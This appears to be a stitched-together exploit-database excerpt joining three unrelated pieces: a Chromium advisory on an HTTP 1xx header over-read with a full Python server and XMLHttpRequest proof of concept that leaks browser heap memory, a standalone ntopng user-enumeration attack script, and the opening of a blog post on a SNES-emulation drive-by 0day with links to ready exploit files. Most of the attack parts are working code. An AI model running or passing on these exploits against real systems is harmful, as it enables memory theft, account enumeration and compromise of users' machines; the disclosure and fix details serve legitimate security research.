<<<Note: the code that follows either removes the response from the buffer
immediately, or expects it to be removed in a call to
ReadResponseBody later.>>>
<<<snip>>>
return result;
}
A look through the code has revealed one location where this can lead to a security issue (also in DoReadHeadersComplete). The code uses an offset from the start of the buffer (rather than the start of the current responses) to pass as an argument to a DoParseResponseHeaders.
if (result == ERR_CONNECTION_CLOSED) {
<<<snip>>>
// Parse things as well as we can and let the caller decide what to do.
int end_offset;
if (response_header_start_offset_ >= 0) {
io_state_ = STATE_READ_BODY_COMPLETE;
end_offset = read_buf_->offset();
<<<Note: "end_offset" is relative to the start of the buffer>>>
} else {
io_state_ = STATE_BODY_PENDING;
end_offset = 0;
<<<Note: "end_offset" is relative to the start of the current response
i.e. start + read_buf_unused_offset_.>>>
}
int rv = DoParseResponseHeaders(end_offset);
<<<snip>>>
DoParseResponseHeaders passes the argument unchanged to HttpUtil::AssembleRawHeaders:
int HttpStreamParser::DoParseResponseHeaders(int end_offset) {
scoped_refptr<HttpResponseHeaders> headers;
if (response_header_start_offset_ >= 0) {
headers = new HttpResponseHeaders(HttpUtil::AssembleRawHeaders(
read_buf_->StartOfBuffer() + read_buf_unused_offset_, end_offset));
<<<snip>>>
The HttpUtil::AssembleRawHeaders method takes two arguments: a pointer to a buffer, and the length of the buffer. The pointer is calculated correctly (in DoParseResponseHeaders) and points to the start of the current response. The length is the offset that was calculated incorrectly in DoReadHeadersComplete. If the current response is preceded by a HTTP 1xx response in the buffer, this length is larger than it should be: the calculated value will be the correct length plus the size of the previous HTTP 1xx response (read_buf_unused_offset_).
std::string HttpUtil::AssembleRawHeaders(const char* input_begin,
int input_len) {
std::string raw_headers;
raw_headers.reserve(input_len);
const char* input_end = input_begin + input_len;
input_begin was calculated as read_buf_->StartOfBuffer() + read_buf_unused_offset_,
input_len was incorrectly calculated as len(headers) + read_buf_unused_offset_,
input_end will be read_buf_->StartOfBuffer() + 2 * read_buf_unused_offset_ + len(headers)
input_end is now beyond the end of the actual headers. The code will continue to rely on this incorrect value to try to create a copy of the headers, inadvertently making a copy of data that is not part of this response and may not even be part of the read_buf_ buffer. This could cause the code to copy data from memory that is stored immediately after read_buf_ into a string that represents the response headers. This string is passed to the renderer process that made the request, allowing a web-page inside the sandbox to read memory from the main process' heap.
An ASCII diagram might be useful to illustrate what is going on:
read_buf_: "HTTP 100 Continue\r\n...HTTP XXX Current response\r\n...Unused..."
read_buf_->StartOfBuffer() -----^
read_buf_->capacity() ----------[================================================================]
read_buf_->offset() ------------[=======================================================]
read_buf_unused_offset_ -------[=======================]
DoReadHeadersComplete/DoParseResponseHeaders:
end_offset ---------------------[=======================================================]
AssembleRawHeaders:
input_begin ---------------------------------------------^
input_len ----------------------------------------------[========================================###############]
error in input_len value --------------------------------------------------------------[========###############]
(== read_buf_unused_offset_)
Memory read from the main process' heap ---------------------------------------------------------[##############]
Repro
The below proof-of-concept consist of a server that hosts a simple web-page. This web-page uses XMLHttpRequest to make requests to the server. The server responds with a carefully crafted reply to exploit the vulnerability and leak data from the main process' memory in the HTTP headers of the response. The web-page then uses getAllResponseHeaders() to read the leaked data, and posts it to the server, which displays the memory. The PoC makes no attempt to influence the layout of the main process' memory, so arbitrary data will be shown and access violation may occur which crash Chrome. With the PoC loaded in one tab, simply browsing the internet in another might show some leaked information from the pages you visit.
PoC.py:
'''
import BaseHTTPServer, json, sys, socket;
def sploit(oHTTPServer, sBody):
iReadSize = 2048;
# The size of the HTTP 1xx response determines how many bytes can be read beyond the next response.
# This HTTP 1xx response is padded to allow reading the desired amount of bytes:
sFirstResponse = pad("HTTP/1.1 100 %s\r\n\r\n", iReadSize);
oHTTPServer.wfile.write(sFirstResponse);
# The size of the second response determines where in the buffer reading of data beyond the response starts.
# For a new connection, the buffer start empty and grows in 4K increments. If the HTTP 1xx response and the second
# response have a combined size of less then 4K, the buffer will be 4K in size. If the second response is padded
# correctly, the first byte read beyond it will be the first byte beyond the buffer, which increases the chance of
# reading something useful.
sSecondResponse = pad("HTTP/1.1 200 %s\r\nx: x", 4 * 1024 - 1 - len(sFirstResponse));
oHTTPServer.wfile.write(sSecondResponse);
oHTTPServer.wfile.close();
if sBody:
sLeakedMemory = json.loads(sBody);
assert sLeakedMemory.endswith("\r\n"), \
"Expected CRLF is missing: %s" % repr(sLeakedMemory);
asLeakedMemoryChunks = sLeakedMemory[:-2].split("\r\n");
sFirstChunk = None;
for sLeakedMemoryChunk in asLeakedMemoryChunks:
if sLeakedMemoryChunk.startswith("x: x"):
sFirstChunk = sLeakedMemoryChunk[4:];
if sFirstChunk:
dump(sFirstChunk);
asLeakedMemoryChunks.remove(sLeakedMemoryChunk);
if len(asLeakedMemoryChunks) == 1:
print "A CR/LF/CRLF separates the above memory chunk from the below chunk:";
elif len(asLeakedMemoryChunks) > 1:
print "A CR/LF/CRLF separates the above memory chunk from the below chunks, their original order is unknown:";
for sLeakedMemoryChunk in asLeakedMemoryChunks:
dump(sLeakedMemoryChunk);
break;
else:
dump(sLeakedMemory);
class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def handle_one_request(self, *txArgs, **dxArgs):
try:
return BaseHTTPServer.BaseHTTPRequestHandler.handle_one_request(self, *txArgs, **dxArgs);
except socket.error:
pass;
def do_GET(self):
self.do_GET_or_POST();
def do_POST(self):
self.do_GET_or_POST();
def __sendFileResponse(self, iCode, sFilePath):
try:
oFile = open(sFilePath, "rb");
sContent = oFile.read();
oFile.close();
except:
self.__sendResponse(500, "Cannot find %s" % sFilePath);
else:
self.__sendResponse(iCode, sContent);
def __sendResponse(self, iCode, sContent):
self.send_response(iCode);
self.send_header("accept-ranges", "bytes");
self.send_header("cache-control", "no-cache, must-revalidate");
self.send_header("content-length", str(len(sContent)));
self.send_header("content-type", "text/html");
self.send_header("date", "Sat Aug 28 1976 09:15:00 GMT");
self.send_header("expires", "Sat Aug 28 1976 09:15:00 GMT");
self.send_header("pragma", "no-cache");
self.end_headers();
self.wfile.write(sContent);
self.wfile.close();
def do_GET_or_POST(self):
try:
try:
iContentLength = int(self.headers.getheader("content-length"));
except:
sBody = "";
else:
sBody = self.rfile.read(iContentLength);
if self.path in gdsFiles:
return self.__sendFileResponse(200, gdsFiles[self.path]);
elif self.path in gdsFunctions:
return gdsFunctions[self.path](self, sBody);
else:
return self.__sendResponse(404, "Not found");
except:
self.server.server_close();
raise;
def pad(sTemplate, iSize):
iPadding = iSize - len(sTemplate % "");
return sTemplate % (iPadding * "A");
def dump(sMemory):
asDWords = []; iDWord = 0; asBytes = []; asChars = [];
print "-%s-.-%s-.-%s" % (
("%d DWORDS" % (len(sMemory) >> 2)).center(35, "-"),
("%d BYTES" % len(sMemory)).center(47, "-"),
"ASCII".center(16, "-"));
for iIndex in xrange(len(sMemory)):
sByte = sMemory[iIndex];
iByte = ord(sByte);
asChars.append(0x1f < iByte < 0x80 and sByte or ".");
asBytes.append("%02X" % iByte);
iBitOffset = (iIndex % 4) * 8;
iDWord += iByte << iBitOffset;
if iBitOffset == 24 or (iIndex == len(sMemory) - 1):
asDWords.append({
0: " %02X",
8: " %04X",
16:" %06X",
24:"%08X"
}[iBitOffset] % iDWord);
iDWord = 0;
if (iIndex % 16 == 15) or (iIndex == len(sMemory) - 1):
print " %-35s | %-47s | %s" % (" ".join(asDWords), " ".join(asBytes), "".join(asChars));
asDWords = []; asBytes = []; asChars = [];
if __name__ == "__main__":
gdsFiles = {
"/": "proxy.html",
}
gdsFunctions = {
"/sploit": sploit,
}
txAddress = ("localhost", 28876);
oHTTPServer = BaseHTTPServer.HTTPServer(txAddress, RequestHandler);
print "Serving at: http://%s:%d" % txAddress;
try:
oHTTPServer.serve_forever();
except KeyboardInterrupt:
pass;
oHTTPServer.server_close();
'''
Proxy.html:
<!doctype html>
<html>
<head>
<script>
var iThreads = 1; // number of simultanious request "threads", higher = faster extraction of data
var iDelay = 1000; // delay between requests in each "thread", lower = faster extraction of data
function requestLoop(sDataToSend) {
var oXMLHttpRequest = new XMLHttpRequest();
oXMLHttpRequest.open("POST", "/sploit", true);
oXMLHttpRequest.onreadystatechange = function () {
if (oXMLHttpRequest.readyState === 4) {
if (oXMLHttpRequest.status == 200) {
var sHeaders = oXMLHttpRequest.getAllResponseHeaders();
console.log("response =" + oXMLHttpRequest.status + " " + oXMLHttpRequest.statusText);
console.log("headers =" + sHeaders.length + ":[" + sHeaders + "]");
if (iDelay > 0) {
setTimeout(function() {
requestLoop(sHeaders);
}, iDelay);
} else {
requestLoop(sHeaders);
}
} else {
document.write("Server failed!");
}
}
}
oXMLHttpRequest.send(sDataToSend ? JSON.stringify(sDataToSend) : "");
}
window.addEventListener("load", function () {
for (var i = 0; i < iThreads; i++) requestLoop("");
}, true);
</script>
</head>
<body>
</body>
</html>
Exploit
The impact depends on what happens to be stored on the heap immediately following the buffer. Since a web-page can influence the activities of the main process (e.g. it can ask it to make other HTTP requests), a certain amount of control over the heap layout is possible. An attacker could attempt to create a "heap feng shui"-like attack where careful manipulation of the main process' activities allow reading of various types of information from the main process' heap. The most obvious targets that come to mind are http request/response data for different domains, such as log-in cookies, or session keys and function pointers that can be used to bypass ASLR/DEP. There are undoubtedly many other forms of interesting information that can be revealed in this way.
There are little limits to the number of times an attacker can exploit this vulnerability, assuming the attacker can avoid triggering an access violation: if the buffer happens to be stored at the end of the heap, attempts to exploit this vulnerability could trigger an access violation/segmentation fault when the code attempts to read beyond the buffer from unallocated memory addresses.
Fix
I identified and tested two approaches to fixing this bug:
- Fix the code where it relies on the response being stored at the start of the buffer.
This addresses the incorrect addressing of memory that causes this vulnerability in various parts of the code. The design to keep HTTP 1xx responses in the buffer remains unchanged.
- Remove HTTP 1xx responses from the buffer.
There was inline documentation in the source that explained why HTTP 1xx responses were handled in a special way, but it didn't make much sense to me. This fix changes the design to no longer keep the HTTP 1xx response in the buffer. There is an added benefit to this fix in that it removes a potential DoS attack, where a server responds with many large HTTP 1xx replies, all of which are kept in memory and eventually cause an OOM crash in the main process.
The later fix was eventually implemented.
Time-line
27 September 2013: This vulnerability and two patches were submitted to the Chromium bugtracker.
2 October 2013: A patch for this vulnerability was submitted by Google.
12 November 2013: This vulnerability was address in version 31.0.1650.48.
19 December 2016: Details of this vulnerability are released.
'''
# Exploit title: ntopng user enumeration
# Author: Dolev Farhi
# Contact: dolevf at protonmail.com
# Date: 04-08-2016
# Vendor homepage: ntop.org
# Software version: v.2.5.160805
#!/usr/env/python
import os
import sys
import urllib
import urllib2
import cookielib
server = 'ip.add.re.ss'
username = 'ntopng-user'
password = 'ntopng-password'
timeout = 6
if len(sys.argv) < 2:
print("usage: %s <usernames file>") % sys.argv[0]
sys.exit(1)
if not os.path.isfile(sys.argv[1]):
print("%s doesn't exist") % sys.argv[1]
sys.exit(1)
try:
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
login_data = urllib.urlencode({'user' : username, 'password' :
password, 'referer' : '/authorize.html'})
opener.open('http://' + server + ':3000/authorize.html', login_data,
timeout=timeout)
print("\nEnumerating ntopng...\n")
with open(sys.argv[1]) as f:
for user in f:
user = user.strip()
url = 'http://%s:3000/lua/admin/validate_new_user.lua?user=%s&netw
orks=0.0.0.0/0,::/0' % (server, user)
resp = opener.open(url)
if "existing" not in resp.read():
print "[NOT FOUND] %s" % user
else:
print "[FOUND] %s" % user
except Exception as e:
print e
sys.exit(1)
Source: https://scarybeastsecurity.blogspot.com/2016/12/redux-compromising-linux-using-snes.html
## Overview
Full reliable 0day drive-by exploit against Fedora 25 + Google Chrome, by breaking out of Super Nintendo Entertainment System emulation via cascading side effects from a subtle and interesting emulation error.
I had a lot of fun compromising the Linux desktop using 6502 opcodes on the original Nintendo NES (https://scarybeastsecurity.blogspot.com/2016/11/0day-exploit-compromising-linux-desktop.html). Would it be possible to have even more fun? Why, yes it would! My previous NES related exploit suffered from multiple fun-limiting issues:
- Although it was a genuine 0day exploit, it only affected very old Linux distributions. Something affecting bang up to date Linux installs would generate greater lulz.
- The vulnerability that was abused -- a total lack of bounds checking on memory bank mapping -- was somewhat obvious. More fun can often be had with vulnerabilities that are slightly more subtle.
- The lack of “super”! The Super Nintendo Entertainment System (SNES) is even more iconic than the original NES. Regarding its 1990 release, Wikipedia notes (https://en.wikipedia.org/wiki/Super_Nintendo_Entertainment_System) "the resulting social disturbance led the Japanese government to ask video game manufacturers to schedule future console releases on weekends". So we need more Super.
Resolving all the above, I present here a full, working, reliable, 0day exploit for current Linux distributions (Ubuntu 16.04 LTS and Fedora 25). It’s a full drive-by download in the context of Fedora. It abuses cascading subtle side effects of an emulation misstep that at first appears extremely difficult to exploit but ends up presenting beautiful and 100% reliable exploitation possibilities.
You’ve likely guessed it by now, but the Linux gstreamer media playback framework supports playback of SNES music files by…. emulating the SNES CPU and audio processor, courtesy of Game Music Emu (http://www.slack.net/~ant/libs/audio.html). How cool is that?
- - -
## Demo and impact
Today, the demos are videos instead of images. This first video shows a full, reliable drive-by download against Fedora 25 + Google Chrome. The strong reliability of this exploit makes it work inside Fedora’s tracker-extract process, which has highly variable heap state that has frustrated my other exploit attempts. Finally, decent exploit proof of my earlier suspicion that tracker + Google Chrome is very dangerous (https://scarybeastsecurity.blogspot.com/2016/11/0day-poc-risky-design-decisions-in.html):
- https://www.youtube.com/watch?v=WKwRijjqdzY
Exploit file: gnome_calc_fedora_25_libc_2.24-3.spc (rename it to .flac to get it to work as in the video).
- Download: https://security.appspot.com/security/spc/gnome_calc_fedora_25_libc_2.24-3.spc
- Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40943-1.flac
And this second video shows a couple of different exploitation contexts in Ubuntu 16.04 LTS, using the same exploit file for each. Again, this is showcasing the reliability that the underlying vulnerability permits. The different exploited processes (gnome-video-thumbnailer and totem) have very different heap and threading setups:
- https://www.youtube.com/watch?v=wrCLoem6ggM
Exploit file: xcalc_ubuntu_16.04_libc_2.23-0ubuntu3.spc (rename it to .mp3 to get it to work as in the video).
- Download: https://security.appspot.com/security/spc/xcalc_ubuntu_16.04_libc_2.23-0ubuntu3.spc
- Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40943-2.mp3
Impact is mixed. On Ubuntu, the faulty code is installed and on the attack surface by default, if you select the “mp3” option during install -- which I certainly always do. On Fedora, there’s a very sensible decision to split gstreamer1-plugins-bad into multiple packages, with only gstreamer1-plugins-bad-free installed by default. This limits the attack surface and does not include Game Music Emu. Of course, the gstreamer framework will happily offer to install gstreamer1-plugins-bad-free-extras, with a very nice UI, if the victim simply tries to open the relevant media file.
As always, the general lack of sandboxing here contributes to the severity. I think we inhabit a world where media parsing sandboxes should be mandatory these days. There’s hope: some of my other recent disclosures appear to have motivated a sandbox for Gnome’s tracker (https://bugzilla.gnome.org/show_bug.cgi?id=764786).